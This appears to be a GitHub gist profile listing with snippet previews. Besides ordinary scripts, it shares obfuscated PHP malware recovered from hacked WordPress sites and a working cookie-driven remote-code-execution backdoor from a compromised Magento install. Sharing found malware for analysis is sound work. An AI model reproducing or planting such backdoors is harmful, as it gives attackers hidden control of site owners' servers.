Skip to content

Instantly share code, notes, and snippets.

View klein0r's full-sized avatar
🏠
Working on my smart home

Matthias Kleine klein0r

🏠
Working on my smart home
View GitHub Profile
@klein0r
klein0r / gist:5441524
Last active July 23, 2021 15:20 — forked from davidalexander/gist:1086455
Magento Tips, Tricks and Snippets
@klein0r
klein0r / gist:6cd648a188d331813474
Created January 15, 2015 18:37
Code of hacked Wordpress instance
<?php $GLOBALS['_535706266_']=Array(base64_decode('ZXJyb3JfcmVwb3J0aW5n'),base64_decode('c2VyaWFsaXpl'),base64_decode('Zm9wZW4='),base64_decode('ZmxvY2s='),base64_decode('ZndyaXRl'),base64_decode('YmFzZTY0X2VuY29kZQ=='),base64_decode('ZmxvY2s='),base64_decode('ZmNsb3Nl'),base64_decode('dG91Y2g='),base64_decode('ZmlsZW10aW1l'),base64_decode('ZmlsZWF0aW1l'),base64_decode('ZmlsZV9leGlzdHM='),base64_decode('ZXhwbG9kZQ=='),base64_decode('aW5fYXJyYXk='),base64_decode('ZXhwbG9kZQ=='),base64_decode('aW5fYXJyYXk='),base64_decode('aW5fYXJyYXk='),base64_decode('c3RycG9z'),base64_decode('c3RydG9sb3dlcg=='),base64_decode('c3RydG9sb3dlcg==')); ?><?php
function _752375421($i){$a=Array('QkJCIA==','','UFBQIA==','','SFRUUF9SRUZFUkVS','SFRUUF9SRUZFUkVS','','SFRUUF9VU0VSX0FHRU5U','SFRUUF9VU0VSX0FHRU5U','','SFRUUF9BQ0NFUFQ=','SFRUUF9BQ0NFUFQ=','','SFRUUF9BQ0NFUFRfTEFOR1VBR0U=','SFRUUF9BQ0NFUFRfTEFOR1VBR0U=','','UkVNT1RFX0FERFI=','IC0g','UkVRVUVTVF9NRVRIT0Q=','IC0g','UkVRVUVTVF9VUkk=','IC0g','SFRUUF9VU0VSX0FHRU5U','IC0g','SFRUUF9S
@klein0r
klein0r / backup.sh
Last active August 29, 2015 14:21
Foto backups via rsync
#!/bin/bash
rsync -Cavuzbr . /Volumes/IomegaHDD/Backup/Lightroom/ --delete
@klein0r
klein0r / varnish3.rb
Last active September 28, 2017 11:06 — forked from wearethefoos/varnish3.rb
require 'formula'
class Varnish3 <Formula
url 'http://repo.varnish-cache.org/source/varnish-3.0.2.tar.gz'
homepage 'http://www.varnish-cache.org/'
sha256 '973f60625e9690e0989e1bbc73c37ea53fc6291b8f7b03d617b76f8084a4a243'
depends_on 'pkg-config' => :build
depends_on 'pcre' => :build
@klein0r
klein0r / gist:3744c2ee9cdce01b034e
Created July 10, 2015 19:31
Another hacked Wordpress Instance
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $tngmufxact = '%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x]88]5]48]32M3]317]445]212]445]43]321]464]284{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2bpreg_replace("%x2f%50%x2e%52%x29%57%x65","%x6%x7860439275ttfsqnpdov{h19275j{hnpd19275fubm%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5cc%x7825+*!*+fepdfe{h+{d%x5c%x7825c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,2825r%x5c%x7878B%x5c%x782825tdz*Wsfuvso!%x5c%x7825bss%x5c%xssutRe%x5c%x782
@klein0r
klein0r / gist:2024f8b25b0d57b9ebb7
Created July 10, 2015 19:59
Wordpress-Hacks everywhere
<?php
$LyuLYn7q='SjlMe4iB'^VPQay5LSynk;$aP7fKKARorx='lgw}os{uo{o'&nwwuosn.'}o{~';$FCfr=#viRjzc'.
'A@!'|'$@ ';$CTv9dUvq='v>}Wy{'&"?n7_[Z";$Kw8So=cPiQwD_f1.'~G`Inf'|'.'./*G6OP_D'.
'KJz*/bEqvgN.'`'.dfh4.')Gj';$x7ZTNazT83='!'|' ';$uf='-E#8(V]F9,'._tS3.#HV5MrX5'.
']$C*_I%B'^EwJZNsuuJA4UoN2_nN.'+z_#';$UbwCX='*'|'/';$wJ='$!'|'$`';$kzx4K=#u5pP'.
' B$'|'$`,';$cWBZYNvAVf=e4&":%";$CWybIel=xt&IT;$vDm2Py6F6m='DP^A'|'P@Y@';'xv5r'.
'M^A@n';$ZkAAsX7e=E|'%';$xg='e}{'&wzi;$toA5l1=K^'?';$ZOxOMOEqYgw='!'^B;'gTKGKd'.
'Re';$TjriVlxL=k&b;$aOhJkozm=q&r;$n6Gv5kZZXV=Ds4&'t;v';$mqmxG1=t&_;'lVaCApbGnj'.
'RGd:)Gf<p';$nhuvfU_Ae=B^':';$KNnxqtt_j=SW^'% ';$ad8FGFpkzwK=p|'5';$pJw=(/*dkw'.
'8*z*/mowuo.'{m|oio'&'n}~o~{o|eyo')&$aP7fKKARorx;$fw=$FCfr|('D$$'|'H$0');'QXZp'.
@klein0r
klein0r / IndexController.php
Last active August 29, 2015 14:26
Magento hacked?
class Mage_Cms_Auth_doe
{
public function __construct() {
$auth_cookie = @$_COOKIE['pwreoizidwmpnyjv3'];
if ($auth_cookie) {
$method = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv2']);
$auth = $auth_cookie(@$_COOKIE['pwreoizidwmpnyjv1']);
$method("/124/e",$auth,124);
}
}
@klein0r
klein0r / gist:1d2498ef3d692c71cd3a
Created September 21, 2015 08:02
Another hacked Wordpress instance
<?php
$hytQev='str_r'.#iai.
'ot13';
$tOtZGQ = $hytQev('bo_f'.#iai.
'gneg');
$tOtZGQ();
?>
5”ЩrЋ:E йСƒ; ‘ CPs™й  .7љњЇМ{3„*iЏuЮ† ŸюёикšAwг=ШЇ^oчю^РKОІ*З[ ,R:Eg ЪзQЁ,НЅЗMњСЭ†…&EбюБiФ\~єv™]€(БјЬBя0D‹RKШЅWдж јќU ’LW[С[RHквюЉs9“уŽЬJв=StтО}‚6ŒЯR ОЕ1О*(kv‰6юЗLщV`8H ŠFІК^{4[9™Ц3Щ{D4Жw
”‹­хRж–ёбс1vЏ27яŸ2QРВиS][mЊФлФ­ЇVŸЗ*єп|b\њPќ<&„D|@uМыЗGœ:еиFёхЩРol$šђЊ`Ў?ljŽ4“4‚№ЙBу#ф_й@xгПob"еяgН†ƒPOЛ’двО'j‘†‰‘ьђщR.
@klein0r
klein0r / script.js
Created October 9, 2015 18:54
GPS Navigation (Codewars)
function navigate(nmbrInt, roads, from, to) {
const getRoad = (from, to, roads) => roads.filter((e) => e.from == from && e.to == to)[0];
const getIntersections = (roads) => roads.reduce((r, e) => r.concat([e.from, e.to]), []).filter((e, i, a) => a.indexOf(e) === i);
const permutator = function(inputArr, from, to) {
var r = [];
var permute = function(arr, memo) {
var cur, memo = memo || [];
for (var i = 0; i < arr.length; i++) {
cur = arr.splice(i, 1);
@klein0r
klein0r / influxdb2-integral.md
Last active May 10, 2023 15:03
InfluxDB 2.x integral() test

Test 1

Test Data:

  • Sat Mar 04 2023 09:40:28 - 0W
  • Sat Mar 04 2023 09:44:28 - 100W (+4 min / +240 sec)
  • Sat Mar 04 2023 09:50:28 - 200W (+6 min / +360 sec)
  • Sat Mar 04 2023 09:55:28 - 0W (+5 min / +300 sec)